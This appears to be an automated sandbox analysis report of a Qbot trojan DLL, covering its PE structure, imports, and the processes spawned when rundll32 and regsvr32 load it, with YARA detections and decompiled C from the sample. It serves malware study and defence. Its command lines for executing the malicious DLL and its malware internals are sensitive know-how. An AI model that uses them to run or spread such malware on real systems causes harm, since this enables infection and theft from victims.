IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x24000	0x15c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2215c	0x22200	False	0.555016597985348	data	6.649026882960341	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x24000	0xe03c	0xe200	False	0.5316993915929203	data	5.664939250342234	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x33000	0x22ccc	0x22000	False	0.8333668428308824	DOS executable (block device driver \377\377\377\377\261)	6.797248626276144	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x56000	0xb890	0xba00	False	0.17794438844086022	data	3.888171262767214	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x62000	0x1da8	0x1e00	False	0.746484375	data	6.525986142096821	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x56588	0xb13	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	Russian	Russia
RT_ICON	0x570a0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Russian	Russia
RT_ICON	0x57f48	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Russian	Russia
RT_ICON	0x587f0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Russian	Russia
RT_ICON	0x58d58	0xc4a	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	Russian	Russia
RT_ICON	0x599a8	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	Russian	Russia
RT_ICON	0x5dbd0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Russian	Russia
RT_ICON	0x60178	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Russian	Russia
RT_ICON	0x61220	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Russian	Russia
RT_GROUP_ICON	0x61688	0x84	data	Russian	Russia
RT_VERSION	0x562b0	0x2d4	data	Russian	Russia
RT_MANIFEST	0x61710	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States

Imports

DLL

Import

KERNEL32.dll

Sleep, VirtualAlloc, GetCommandLineA, CreateFileW, GetFileSize, CloseHandle, CreateFileA, LocalAlloc, GetModuleFileNameA, DebugBreak, ReadFile, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, MultiByteToWideChar, LCMapStringEx, GetStringTypeW, GetCPInfo, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, GetModuleHandleW, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, GetCurrentProcess, TerminateProcess, RtlUnwind, RaiseException, InterlockedFlushSList, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, ExitProcess, GetModuleHandleExW, GetModuleFileNameW, HeapAlloc, HeapFree, GetStdHandle, GetFileType, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetProcessHeap, SetFilePointerEx, SetStdHandle, HeapSize, FlushFileBuffers, WriteFile, GetConsoleOutputCP, GetConsoleMode, WriteConsoleW

ADVAPI32.dll

CryptCreateHash, CryptHashData, CryptDestroyHash, CryptGetHashParam, CryptReleaseContext, CryptAcquireContextA

Exports

Name	Ordinal	Address
DllRegisterServer	1	0x10006510
DllUnregisterServer	2	0x10007d50

Possible Origin

Language of compilation system	Country where language is spoken	Map
Russian	Russia
English	United States

Network Behavior

⊘No network behavior found

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exePID: 5992, Parent PID: 3528

General

Target ID:	0
Start time:	17:04:39
Start date:	10/10/2022
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\diatomaceous.dat.dll"
Imagebase:	0xcc0000
File size:	116736 bytes
MD5 hash:	1F562FBF37040EC6C43C8D5EF619EA39
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6064, Parent PID: 5992

General

Target ID:	1
Start time:	17:04:39
Start date:	10/10/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 6116, Parent PID: 5992

General

Target ID:	2
Start time:	17:04:39
Start date:	10/10/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\diatomaceous.dat.dll",#1
Imagebase:	0xd90000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 6096, Parent PID: 5992

General

Target ID:	3
Start time:	17:04:39
Start date:	10/10/2022
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	regsvr32.exe /s C:\Users\user\Desktop\diatomaceous.dat.dll
Imagebase:	0xe20000
File size:	20992 bytes
MD5 hash:	426E7499F6A7346F0410DEAD0805586B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Qbot_92c67a6d, Description: unknown, Source: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Qbot_3074a8d4, Description: unknown, Source: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000003.00000003.312800639.0000000000400000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Qbot_92c67a6d, Description: unknown, Source: 00000003.00000003.312800639.0000000000400000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Qbot_3074a8d4, Description: unknown, Source: 00000003.00000003.312800639.0000000000400000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 244, Parent PID: 6116

General

Target ID:	4
Start time:	17:04:39
Start date:	10/10/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\diatomaceous.dat.dll",#1
Imagebase:	0xc50000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000004.00000003.312922602.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Qbot_92c67a6d, Description: unknown, Source: 00000004.00000003.312922602.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Qbot_3074a8d4, Description: unknown, Source: 00000004.00000003.312922602.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000004.00000002.320649129.0000000004820000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Qbot_92c67a6d, Description: unknown, Source: 00000004.00000002.320649129.0000000004820000.00000040.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Qbot_3074a8d4, Description: unknown, Source: 00000004.00000002.320649129.0000000004820000.00000040.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 3908, Parent PID: 5992

General

Target ID:	5
Start time:	17:04:39
Start date:	10/10/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\diatomaceous.dat.dll,DllRegisterServer
Imagebase:	0xc50000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000005.00000003.313259350.0000000000B90000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Qbot_92c67a6d, Description: unknown, Source: 00000005.00000003.313259350.0000000000B90000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Qbot_3074a8d4, Description: unknown, Source: 00000005.00000003.313259350.0000000000B90000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000005.00000002.320603133.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Qbot_92c67a6d, Description: unknown, Source: 00000005.00000002.320603133.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Qbot_3074a8d4, Description: unknown, Source: 00000005.00000002.320603133.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 1540, Parent PID: 5992

General

Target ID:	6
Start time:	17:04:42
Start date:	10/10/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\diatomaceous.dat.dll,DllUnregisterServer
Imagebase:	0xc50000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: wermgr.exePID: 5020, Parent PID: 6096

General

Target ID:	7
Start time:	17:04:44
Start date:	10/10/2022
Path:	C:\Windows\SysWOW64\wermgr.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\wermgr.exe
Imagebase:	0x1160000
File size:	191904 bytes
MD5 hash:	CCF15E662ED5CE77B5FF1A7AAE305233
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000007.00000000.319688371.0000000001000000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Qbot_92c67a6d, Description: unknown, Source: 00000007.00000000.319688371.0000000001000000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Qbot_3074a8d4, Description: unknown, Source: 00000007.00000000.319688371.0000000001000000.00000040.80000000.00040000.00000000.sdmp, Author: unknown

Show Windows behavior

Chronological Activities

Analysis Process: wermgr.exePID: 4860, Parent PID: 3908

General

Target ID:	8
Start time:	17:04:44
Start date:	10/10/2022
Path:	C:\Windows\SysWOW64\wermgr.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\wermgr.exe
Imagebase:	0x1160000
File size:	191904 bytes
MD5 hash:	CCF15E662ED5CE77B5FF1A7AAE305233
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000008.00000000.319841073.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Qbot_92c67a6d, Description: unknown, Source: 00000008.00000000.319841073.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Qbot_3074a8d4, Description: unknown, Source: 00000008.00000000.319841073.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000008.00000002.322126638.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Qbot_92c67a6d, Description: unknown, Source: 00000008.00000002.322126638.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Qbot_3074a8d4, Description: unknown, Source: 00000008.00000002.322126638.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, Author: unknown

Show Windows behavior

Chronological Activities

Analysis Process: wermgr.exePID: 4768, Parent PID: 244

General

Target ID:	9
Start time:	17:04:44
Start date:	10/10/2022
Path:	C:\Windows\SysWOW64\wermgr.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\wermgr.exe
Imagebase:	0x1160000
File size:	191904 bytes
MD5 hash:	CCF15E662ED5CE77B5FF1A7AAE305233
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000009.00000000.319924513.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Qbot_92c67a6d, Description: unknown, Source: 00000009.00000000.319924513.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Qbot_3074a8d4, Description: unknown, Source: 00000009.00000000.319924513.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000009.00000002.322491943.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Qbot_92c67a6d, Description: unknown, Source: 00000009.00000002.322491943.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Qbot_3074a8d4, Description: unknown, Source: 00000009.00000002.322491943.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, Author: unknown

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: loaddll32.exePID: 5992, Parent PID: 3528COMMON

Execution Graph

Execution Coverage:	1.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	16

Executed Functions

Function 6DA814D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 192
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E6DA814D0(void* __ebx, struct HINSTANCE__** __ecx, void* __eflags) {
				struct HINSTANCE__* _v8;
				intOrPtr _v16;
				char _v17;
				long _v24;
				struct HINSTANCE__** _v28;
				long _v32;
				void* _v36;
				struct _OVERLAPPED* _v40;
				char* _v44;
				struct HINSTANCE__* _v48;
				struct HINSTANCE__* _v52;
				struct HINSTANCE__* _v56;
				struct HINSTANCE__* _v72;
				intOrPtr* _v92;
				void* _t49;
				long _t50;
				void* _t51;
				void* _t56;
				intOrPtr _t57;
				struct HINSTANCE__* _t60;
				struct HINSTANCE__* _t65;
				void* _t68;
				intOrPtr _t69;
				intOrPtr* _t73;
				struct HINSTANCE__* _t78;
				char _t82;
				struct _OVERLAPPED* _t86;
				void* _t88;
				intOrPtr* _t93;
				struct HINSTANCE__** _t95;
				intOrPtr* _t98;
				struct HINSTANCE__* _t99;
				struct HINSTANCE__** _t100;
				intOrPtr _t101;
				void* _t104;
				struct HINSTANCE__* _t105;
				intOrPtr _t106;
				char* _t109;
				struct HINSTANCE__** _t110;
				void* _t112;
				CHAR* _t115;
				void* _t116;
				void* _t117;
				struct HINSTANCE__* _t118;
				struct HINSTANCE__** _t120;
				intOrPtr* _t122;
				struct HINSTANCE__** _t124;
				intOrPtr _t127;
				intOrPtr _t131;

				_t127 = _t131;
				_push(0xffffffff);
				_push(E6DAA2315);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t131;
				_push(__ebx);
				_v72 = 0;
				_v28 = __ecx;
				_v56 = 0;
				_v52 = 0xf;
				_v72 = 0;
				_push(0x30c);
				_v8 = 0;
				_t115 = E6DA8DB20();
				GetModuleFileNameA(0, _t115, 0x30c);
				_t109 = 0;
				_v48 = 0;
				_t86 = 0;
				_v44 = 0;
				_v40 = 0;
				_v8 = 1;
				_t49 = CreateFileA(_t115, 0x80000000, 3, 0, 3, 0, 0); // executed
				_t116 = _t49;
				_t50 = GetFileSize(_t116, 0);
				_v24 = _t50;
				_t51 = LocalAlloc(0, _t50);
				_v36 = _t51;
				_v32 = 0;
				ReadFile(_t116, _t51, _v24,  &_v32, 0); // executed
				FindCloseChangeNotification(_t116); // executed
				_t117 = 0;
				if(_v24 <= 0) {
					_t118 = 0;
				} else {
					do {
						_t82 =  *((intOrPtr*)(_t117 + _v36));
						_v17 = _t82;
						if(_t109 == _t86) {
							E6DA818A0( &_v48, _t109,  &_v17);
							_t86 = _v40;
							_t109 = _v44;
						} else {
							 *_t109 = _t82;
							_t109 = _t109 + 1;
							_v44 = _t109;
						}
						_t117 = _t117 + 1;
					} while (_t117 < _v24);
					_t118 = _v48;
				}
				_t56 = E6DA8B200(_t118, 0, _t109 - _t118);
				_t92 =  !=  ? _t56 : _t109;
				_t144 = ( !=  ? _t56 : _t109) - _t109;
				_t110 = _v28;
				 *_t110 = 0;
				_t110[4] = 0;
				_t110[5] = 0xf;
				 *_t110 = 0;
				if(( !=  ? _t56 : _t109) == _t109) {
					_t93 = 0;
					_t32 = _t93 + 1; // 0x1
					_t104 = _t32;
					asm("o16 nop [eax+eax]");
					do {
						_t57 =  *_t93;
						_t93 = _t93 + 1;
					} while (_t57 != 0);
					_push(_t93 - _t104);
					_t95 = _t110;
					E6DA81770(_t95, 0);
					if(_t118 == 0) {
						goto L13;
					} else {
						_t88 = _t86 - _t118;
						_t60 = _t118;
						if(_t88 < 0x1000) {
							goto L12;
						} else {
							_t118 =  *(_t118 - 4);
							_t88 = _t88 + 0x23;
							if(_t60 - _t118 + 0xfffffffc <= 0x1f) {
								goto L12;
							} else {
								goto L19;
							}
						}
					}
				} else {
					_push(0x21);
					_t95 = _t110;
					E6DA81770(_t95, "gjdhkdfgkjsdghfkjsdhkjslfdghsdkjl");
					if(_t118 == 0) {
						L13:
						 *[fs:0x0] = _v16;
						return _t110;
					} else {
						_t88 = _t86 - _t118;
						_t78 = _t118;
						if(_t88 < 0x1000) {
							L12:
							_push(_t88);
							E6DA893C9(_t118);
							goto L13;
						} else {
							_t118 =  *(_t118 - 4);
							_t88 = _t88 + 0x23;
							if(_t78 - _t118 + 0xfffffffc > 0x1f) {
								L19:
								E6DA8DACF(_t88, _t95, _t104);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(_t118);
								_t120 = _t95;
								_t65 =  *_t120;
								if(_t65 == 0) {
									L25:
									return _t65;
								} else {
									_t98 = _t120[2] - _t65;
									if(_t98 < 0x1000) {
										L24:
										_push(_t98);
										_t65 = E6DA893C9(_t65);
										 *_t120 = 0;
										_t120[1] = 0;
										_t120[2] = 0;
										goto L25;
									} else {
										_t105 =  *(_t65 - 4);
										_t98 = _t98 + 0x23;
										if(_t65 - _t105 + 0xfffffffc > 0x1f) {
											_t68 = E6DA8DACF(_t88, _t98, _t105);
											asm("int3");
											asm("int3");
											asm("int3");
											_push(_t120);
											_t122 = _t98;
											_t99 =  *(_t122 + 0x14);
											if(_t99 < 0x10) {
												L32:
												 *(_t122 + 0x10) = 0;
												 *(_t122 + 0x14) = 0xf;
												 *_t122 = 0;
												return _t68;
											} else {
												_t69 =  *_t122;
												_t100 =  &(_t99->i);
												if(_t100 < 0x1000) {
													L31:
													_push(_t100);
													_t68 = E6DA893C9(_t69);
													goto L32;
												} else {
													_t106 =  *((intOrPtr*)(_t69 - 4));
													_t100 =  &(_t100[8]);
													if(_t69 - _t106 + 0xfffffffc > 0x1f) {
														E6DA8DACF(_t88, _t100, _t106);
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														_push(_t127);
														_t107 = _v92;
														_t73 = _v92;
														_push(_t122);
														_t124 = _t100;
														_push(_t110);
														_t43 = _t73 + 1; // 0x1
														_t112 = _t43;
														 *_t124 = 0;
														_t124[4] = 0;
														_t124[5] = 0xf;
														do {
															_t101 =  *_t73;
															_t73 = _t73 + 1;
														} while (_t101 != 0);
														_push(_t73 - _t112);
														E6DA81770(_t124, _t107);
														return _t124;
													} else {
														_t69 = _t106;
														goto L31;
													}
												}
											}
										} else {
											_t65 = _t105;
											goto L24;
										}
									}
								}
							} else {
								goto L12;
							}
						}
					}
				}
			}

0x6da814d1
0x6da814d3
0x6da814d5
0x6da814e0
0x6da814e1
0x6da814eb
0x6da814ed
0x6da814f5
0x6da814f8
0x6da814ff
0x6da81506
0x6da8150a
0x6da8150f
0x6da8151e
0x6da81528
0x6da8152e
0x6da81530
0x6da81537
0x6da81539
0x6da8153c
0x6da8154c
0x6da81550
0x6da81556
0x6da8155a
0x6da81562
0x6da81565
0x6da8156f
0x6da81576
0x6da8157b
0x6da81582
0x6da81588
0x6da8158d
0x6da815c3
0x6da81590
0x6da81590
0x6da81593
0x6da81596
0x6da8159b
0x6da815ad
0x6da815b2
0x6da815b5
0x6da8159d
0x6da8159d
0x6da8159f
0x6da815a0
0x6da815a0
0x6da815b8
0x6da815b9
0x6da815be
0x6da815be
0x6da815cd
0x6da815d9
0x6da815dc
0x6da815de
0x6da815e1
0x6da815e7
0x6da815ee
0x6da815f5
0x6da815f8
0x6da81645
0x6da81647
0x6da81647
0x6da8164a
0x6da81650
0x6da81650
0x6da81652
0x6da81653
0x6da81659
0x6da8165c
0x6da8165e
0x6da81665
0x00000000
0x6da81667
0x6da81667
0x6da81669
0x6da81671
0x00000000
0x6da81673
0x6da81673
0x6da81676
0x6da81681
0x00000000
0x00000000
0x00000000
0x00000000
0x6da81681
0x6da81671
0x6da815fa
0x6da815fa
0x6da81601
0x6da81603
0x6da8160a
0x6da81632
0x6da81639
0x6da81644
0x6da8160c
0x6da8160c
0x6da8160e
0x6da81616
0x6da81628
0x6da81628
0x6da8162a
0x00000000
0x6da81618
0x6da81618
0x6da8161b
0x6da81626
0x6da81683
0x6da81683
0x6da81688
0x6da81689
0x6da8168a
0x6da8168b
0x6da8168c
0x6da8168d
0x6da8168e
0x6da8168f
0x6da81690
0x6da81691
0x6da81693
0x6da81697
0x6da816d6
0x6da816d7
0x6da81699
0x6da8169c
0x6da816a4
0x6da816b8
0x6da816b8
0x6da816ba
0x6da816bf
0x6da816c8
0x6da816cf
0x00000000
0x6da816a6
0x6da816a6
0x6da816a9
0x6da816b4
0x6da816d8
0x6da816dd
0x6da816de
0x6da816df
0x6da816e0
0x6da816e1
0x6da816e3
0x6da816e9
0x6da81712
0x6da81712
0x6da81719
0x6da81720
0x6da81724
0x6da816eb
0x6da816eb
0x6da816ed
0x6da816f4
0x6da81708
0x6da81708
0x6da8170a
0x00000000
0x6da816f6
0x6da816f6
0x6da816f9
0x6da81704
0x6da81725
0x6da8172a
0x6da8172b
0x6da8172c
0x6da8172d
0x6da8172e
0x6da8172f
0x6da81730
0x6da81733
0x6da81736
0x6da81738
0x6da81739
0x6da8173b
0x6da8173c
0x6da8173c
0x6da8173f
0x6da81745
0x6da8174c
0x6da81753
0x6da81753
0x6da81755
0x6da81756
0x6da8175e
0x6da81760
0x6da8176a
0x6da81706
0x6da81706
0x00000000
0x6da81706
0x6da81704
0x6da816f4
0x6da816b6
0x6da816b6
0x00000000
0x6da816b6
0x6da816b4
0x6da816a4
0x00000000
0x00000000
0x00000000
0x6da81626
0x6da81616
0x6da8160a

APIs

GetModuleFileNameA.KERNEL32(00000000,00000000,0000030C,?), ref: 6DA81528
CreateFileA.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 6DA81550
GetFileSize.KERNEL32(00000000,00000000), ref: 6DA8155A
LocalAlloc.KERNEL32(00000000,00000000), ref: 6DA81565
ReadFile.KERNELBASE(00000000,00000000,?,?,00000000), ref: 6DA8157B
FindCloseChangeNotification.KERNELBASE(00000000), ref: 6DA81582

Strings

gjdhkdfgkjsdghfkjsdhkjslfdghsdkjl, xrefs: 6DA815FC

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: File$AllocChangeCloseCreateFindLocalModuleNameNotificationReadSize
String ID: gjdhkdfgkjsdghfkjsdhkjslfdghsdkjl
API String ID: 664754120-448965468
Opcode ID: 20cad69cf58fe0f53f03f38f9266d19976946d6f153f9c23272cbb4097554140
Instruction ID: ba08a7b8226c77d2c59fb53c6336ff364c357bc3ec8c4e4066879b73f06f27d2
Opcode Fuzzy Hash: 20cad69cf58fe0f53f03f38f9266d19976946d6f153f9c23272cbb4097554140
Instruction Fuzzy Hash: 53514771D092159FEB118FA8CD84BBEFBF8EF09304F190229ED55A7281D7B45D808BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6DA89988 Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E6DA89988(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t34;
				signed int _t40;
				signed int _t41;
				signed int _t45;
				signed char _t54;
				signed int _t56;
				signed int _t58;
				void* _t61;
				void* _t68;
				signed int _t72;
				signed int _t76;
				signed int _t80;
				void* _t82;

				_t68 = __edx;
				_push(0x10);
				_push(0x6dab10d0);
				E6DA89CA0(__ebx, __edi, __esi);
				_t34 =  *0x6dad51a4; // 0x1
				if(_t34 > 0) {
					 *0x6dad51a4 = _t34 - 1;
					 *(_t82 - 0x1c) = 1;
					 *(_t82 - 4) =  *(_t82 - 4) & 0x00000000;
					 *((char*)(_t82 - 0x20)) = E6DA89558();
					 *(_t82 - 4) = 1;
					__eflags =  *0x6dad5180 - 2;
					if( *0x6dad5180 != 2) {
						E6DA89EC6(_t68, 1, __esi, 7);
						asm("int3");
						_push(0xc);
						_push(0x6dab10f8);
						E6DA89CA0(__ebx, 1, __esi);
						_t72 =  *(_t82 + 0xc);
						__eflags = _t72;
						if(_t72 != 0) {
							L9:
							 *(_t82 - 4) =  *(_t82 - 4) & 0x00000000;
							__eflags = _t72 - 1;
							if(_t72 == 1) {
								L12:
								_t58 =  *(_t82 + 0x10);
								_t76 = E6DA89B43( *((intOrPtr*)(_t82 + 8)), _t72, _t58);
								 *(_t82 - 0x1c) = _t76;
								__eflags = _t76;
								if(_t76 != 0) {
									_t41 = E6DA8982E(_t61,  *((intOrPtr*)(_t82 + 8)), _t72, _t58); // executed
									_t76 = _t41;
									 *(_t82 - 0x1c) = _t76;
									__eflags = _t76;
									if(_t76 != 0) {
										goto L14;
									}
								}
							} else {
								__eflags = _t72 - 2;
								if(_t72 == 2) {
									goto L12;
								} else {
									_t58 =  *(_t82 + 0x10);
									L14:
									_push(_t58);
									_t76 = E6DA864F0( *((intOrPtr*)(_t82 + 8)), _t72);
									 *(_t82 - 0x1c) = _t76;
									__eflags = _t72 - 1;
									if(_t72 == 1) {
										__eflags = _t76;
										if(_t76 == 0) {
											_push(_t58);
											_t45 = E6DA864F0( *((intOrPtr*)(_t82 + 8)), _t42);
											__eflags = _t58;
											_t25 = _t58 != 0;
											__eflags = _t25;
											_push((_t45 & 0xffffff00 | _t25) & 0x000000ff);
